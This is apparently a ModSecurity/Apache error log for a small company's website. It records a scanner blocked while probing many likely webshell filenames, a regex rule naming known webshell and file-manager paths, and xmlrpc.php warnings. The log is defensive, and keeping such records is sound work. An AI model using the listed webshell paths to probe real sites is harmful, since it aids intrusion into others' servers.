[Sun Apr 19 21:28:00.260528 2026] [:error] [pid 15694:tid 15751] [client 20.91.204.211:18237] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeTYYLimB-jol1fwqAoOeAAAAZg"]
[Sun Apr 19 21:28:01.386116 2026] [:error] [pid 15765:tid 15857] [client 20.91.204.211:15955] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeTYYfRqinw-W5EwQ778BwAAAoQ"]
[Sun Apr 19 21:28:02.348731 2026] [:error] [pid 15763:tid 15814] [client 20.91.204.211:21454] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeTYYrMXv1Y1THOoxaD6pQAAAhI"]
[Sun Apr 19 21:28:03.552997 2026] [:error] [pid 47772:tid 47789] [client 20.91.204.211:20576] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeTYY4c0L16cb4smAz-_agAAAAA"]
[Sun Apr 19 21:28:04.773742 2026] [:error] [pid 15765:tid 15852] [client 20.91.204.211:21810] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeTYZPRqinw-W5EwQ778CgAAAoA"]
[Sun Apr 19 21:28:06.358270 2026] [:error] [pid 47772:tid 47809] [client 20.91.204.211:14063] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "aeTYZoc0L16cb4smAz-_cgAAABQ"]
[Sun Apr 19 21:28:07.513343 2026] [:error] [pid 15764:tid 15840] [client 20.91.204.211:14022] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeTYZ2LL_sqdSHoVp-QXnwAAAk4"]
[Sun Apr 19 21:28:08.180876 2026] [:error] [pid 47775:tid 47865] [client 20.91.204.211:13322] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeTYaLmztjlk9tsmoewWIAAAAJY"]
[Sun Apr 19 21:28:08.962161 2026] [:error] [pid 47775:tid 47852] [client 20.91.204.211:20993] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeTYaLmztjlk9tsmoewWIwAAAIk"]
[Sun Apr 19 21:28:09.873370 2026] [:error] [pid 47773:tid 47839] [client 20.91.204.211:1480] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "aeTYaeiBHdnCJDuPq9BESgAAAFc"]
[Sun Apr 19 21:28:10.572882 2026] [:error] [pid 15760:tid 15768] [client 20.91.204.211:22666] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeTYavSdD_XHQMJ_ISsxLQAAAcA"]
[Sun Apr 19 21:28:11.342154 2026] [:error] [pid 47775:tid 47856] [client 20.91.204.211:18103] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeTYa7mztjlk9tsmoewWJgAAAI0"]
[Sun Apr 19 21:28:11.944824 2026] [:error] [pid 47775:tid 47855] [client 20.91.204.211:18089] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeTYa7mztjlk9tsmoewWKwAAAIw"]
[Sun Apr 19 21:28:12.659860 2026] [:error] [pid 47886:tid 47904] [client 20.91.204.211:21807] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "aeTYbESe8yiyuPrD7yN4gAAAANA"]
[Sun Apr 19 21:28:13.373547 2026] [:error] [pid 47886:tid 47905] [client 20.91.204.211:18075] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeTYbUSe8yiyuPrD7yN4ggAAANE"]
[Sun Apr 19 21:28:14.254989 2026] [:error] [pid 15694:tid 15730] [client 20.91.204.211:18051] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeTYbrimB-jol1fwqAoOhAAAAYQ"]
[Sun Apr 19 21:28:15.065952 2026] [:error] [pid 47775:tid 47865] [client 20.91.204.211:16386] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeTYb7mztjlk9tsmoewWMwAAAJY"]
[Sun Apr 19 21:28:15.836764 2026] [:error] [pid 15693:tid 15719] [client 20.91.204.211:21761] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yw5bi63u.php"] [unique_id "aeTYb8NMD-ccazQlTslbyQAAAVc"]
[Sun Apr 19 21:28:16.495891 2026] [:error] [pid 47775:tid 47854] [client 20.91.204.211:21795] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeTYcLmztjlk9tsmoewWNwAAAIs"]
[Sun Apr 19 21:28:17.463544 2026] [:error] [pid 15764:tid 15826] [client 20.91.204.211:16399] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeTYcWLL_sqdSHoVp-QXpgAAAkA"]
[Sun Apr 19 21:28:18.203670 2026] [:error] [pid 15760:tid 15779] [client 20.91.204.211:20157] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeTYcvSdD_XHQMJ_ISsxNAAAAcs"]
[Sun Apr 19 21:28:18.951959 2026] [:error] [pid 47772:tid 47807] [client 20.91.204.211:17296] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aeTYcoc0L16cb4smAz-_fwAAABI"]
[Sun Apr 19 21:28:19.688714 2026] [:error] [pid 15760:tid 15777] [client 20.91.204.211:19547] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeTYc_SdD_XHQMJ_ISsxPgAAAck"]
[Sun Apr 19 21:28:20.321140 2026] [:error] [pid 15694:tid 15737] [client 20.91.204.211:16410] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeTYdLimB-jol1fwqAoOigAAAYs"]
[Sun Apr 19 21:28:21.406829 2026] [:error] [pid 47775:tid 47851] [client 20.91.204.211:19540] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeTYdbmztjlk9tsmoewWPgAAAIg"]
[Sun Apr 19 21:28:22.077707 2026] [:error] [pid 15763:tid 15802] [client 20.91.204.211:21823] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws57.php"] [unique_id "aeTYdrMXv1Y1THOoxaD6rQAAAgY"]
[Sun Apr 19 21:28:22.759870 2026] [:error] [pid 15763:tid 15811] [client 20.91.204.211:1486] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "aeTYdrMXv1Y1THOoxaD6rgAAAg8"]
[Sun Apr 19 21:28:23.329980 2026] [:error] [pid 47773:tid 47836] [client 20.91.204.211:21015] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "aeTYd-iBHdnCJDuPq9BEXAAAAFQ"]
[Sun Apr 19 21:28:24.184363 2026] [:error] [pid 47773:tid 47820] [client 20.91.204.211:17302] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "aeTYeOiBHdnCJDuPq9BEXgAAAEQ"]
[Sun Apr 19 21:28:24.976096 2026] [:error] [pid 47775:tid 47863] [client 20.91.204.211:1490] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "aeTYeLmztjlk9tsmoewWQgAAAJQ"]
[Sun Apr 19 21:28:26.067427 2026] [:error] [pid 47773:tid 47819] [client 20.91.204.211:1479] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeTYeuiBHdnCJDuPq9BEYAAAAEM"]
[Sun Apr 19 21:28:27.337155 2026] [:error] [pid 47773:tid 47829] [client 20.91.204.211:21787] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeTYe-iBHdnCJDuPq9BEYwAAAE0"]
[Sun Apr 19 21:28:28.359504 2026] [:error] [pid 47886:tid 47890] [client 20.91.204.211:18064] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeTYfESe8yiyuPrD7yN4mQAAAMI"]
[Sun Apr 19 21:28:28.987770 2026] [:error] [pid 47886:tid 47905] [client 20.91.204.211:21796] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "aeTYfESe8yiyuPrD7yN4mwAAANE"]
[Sun Apr 19 21:28:29.779196 2026] [:error] [pid 15763:tid 15814] [client 20.91.204.211:20159] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "aeTYfbMXv1Y1THOoxaD6sgAAAhI"]
[Sun Apr 19 21:28:30.498123 2026] [:error] [pid 47772:tid 47798] [client 20.91.204.211:12942] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "aeTYfoc0L16cb4smAz-_jwAAAAk"]
[Sun Apr 19 21:28:45.065553 2026] [:error] [pid 47772:tid 47805] [client 20.91.204.211:1520] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeTYjYc0L16cb4smAz-_tgAAABA"]
[Sun Apr 19 21:28:45.866126 2026] [:error] [pid 47775:tid 47864] [client 20.91.204.211:12962] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeTYjbmztjlk9tsmoewWTgAAAJU"]
[Sun Apr 19 21:28:48.058185 2026] [:error] [pid 15763:tid 15799] [client 20.91.204.211:17570] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeTYkLMXv1Y1THOoxaD60AAAAgM"]
[Sun Apr 19 21:28:49.280731 2026] [:error] [pid 15763:tid 15797] [client 20.91.204.211:17354] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "aeTYkbMXv1Y1THOoxaD61QAAAgE"]
[Sun Apr 19 21:28:50.403952 2026] [:error] [pid 15760:tid 15775] [client 20.91.204.211:16432] [client 20.91.204.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aeTYkvSdD_XHQMJ_ISsxcAAAAcc"]
[Sun Apr 19 21:39:43.266163 2026] [:error] [pid 47772:tid 47793] [client 170.106.152.218:43696] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeTbH4c0L16cb4smAz_DqgAAAAQ"]
[Sun Apr 19 21:53:44.721084 2026] [:error] [pid 47773:tid 47816] [client 190.121.23.218:51754] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeTeaOiBHdnCJDuPq9BKRQAAAEA"]
[Sun Apr 19 21:54:00.313624 2026] [:error] [pid 15764:tid 15827] [client 45.159.231.196:46890] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeTeeGLL_sqdSHoVp-QjsgAAAkE"]
[Sun Apr 19 22:04:16.199646 2026] [:error] [pid 47773:tid 47835] [client 138.68.5.226:50520] [client 138.68.5.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeTg4OiBHdnCJDuPq9BNDQAAAFM"]
[Sun Apr 19 22:16:47.485945 2026] [:error] [pid 15764:tid 15830] [client 59.125.102.142:58444] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeTjz2LL_sqdSHoVp-Qs2AAAAkQ"]
[Sun Apr 19 22:50:50.736976 2026] [:error] [pid 47772:tid 47794] [client 146.70.194.222:46898] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeTryoc0L16cb4smAz_aUAAAAAU"]
[Sun Apr 19 22:50:51.265529 2026] [:error] [pid 47773:tid 47823] [client 146.70.194.222:47602] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeTry-iBHdnCJDuPq9BW3QAAAEc"]
[Sun Apr 19 22:51:12.101652 2026] [:error] [pid 15760:tid 15781] [client 66.29.147.6:36524] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeTr4PSdD_XHQMJ_IStgJgAAAc0"]
[Sun Apr 19 23:30:20.984117 2026] [:error] [pid 15764:tid 15847] [client 13.239.53.175:47880] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeT1DGLL_sqdSHoVp-RHuAAAAlU"]
[Sun Apr 19 23:36:37.188202 2026] [:error] [pid 15760:tid 15780] [client 182.43.70.143:60674] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeT2hfSdD_XHQMJ_ISt2DwAAAcw"]
[Sun Apr 19 23:43:33.415860 2026] [:error] [pid 47772:tid 47804] [client 149.202.83.206:60496] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeT4JYc0L16cb4smAz_otgAAAA8"]
[Sun Apr 19 23:51:11.009161 2026] [:error] [pid 47772:tid 47800] [client 90.28.192.77:36132] [client 90.28.192.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.28.192.77, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeT574c0L16cb4smAz_ragAAAAs"]
[Mon Apr 20 00:33:39.142800 2026] [:error] [pid 15763:tid 15819] [client 138.197.98.9:43576] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUD47MXv1Y1THOoxaArLAAAAhc"]
[Mon Apr 20 00:36:02.956131 2026] [:error] [pid 47775:tid 47853] [client 72.14.187.140:48434] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeUEcrmztjlk9tsmoew6TQAAAIo"]
